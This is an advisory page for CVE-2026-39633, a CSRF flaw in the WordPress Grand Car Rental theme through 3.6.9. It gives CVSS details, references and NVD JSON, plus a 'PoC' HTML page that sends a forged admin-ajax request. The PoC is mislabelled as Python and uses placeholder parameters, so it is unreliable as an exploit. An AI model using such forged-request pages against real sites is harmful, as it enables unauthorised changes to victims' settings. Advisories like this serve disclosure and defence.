CVE-2026-39633

Description

Cross-Site Request Forgery (CSRF) vulnerability in ThemeGoods Grand Car Rental grandcarrental allows Cross Site Request Forgery.This issue affects Grand Car Rental: from n/a through <= 3.6.9.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Grand Car Rental <= 3.6.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-39633 -->
<!-- Target: WordPress Theme Grand Car Rental <= 3.6.9 -->

<html>
  <body>
    <h1>Loading...</h1>
    <script>
      // Exploit logic to send a forged request
      function exploit() {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://victim-site.com/wp-admin/admin-ajax.php", true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        // Payload to change settings (example)
        var params = "action=grand_car_rental_update_options&malicious_param=exploited";
        xhr.send(params);
      }
      exploit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39633
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39633
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39633/
[4] VulDB https://vuldb.com/cve/CVE-2026-39633
[5] https://patchstack.com/database/Wordpress/Theme/grandcarrental/vulnerability/wordpress-grand-car-rental-theme-3-6-9-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39633", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:33.877", "lastModified": "2026-04-29T10:17:33.973", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in ThemeGoods Grand Car Rental grandcarrental allows Cross Site Request Forgery.This issue affects Grand Car Rental: from n/a through <= 3.6.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/grandcarrental/vulnerability/wordpress-grand-car-rental-theme-3-6-9-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}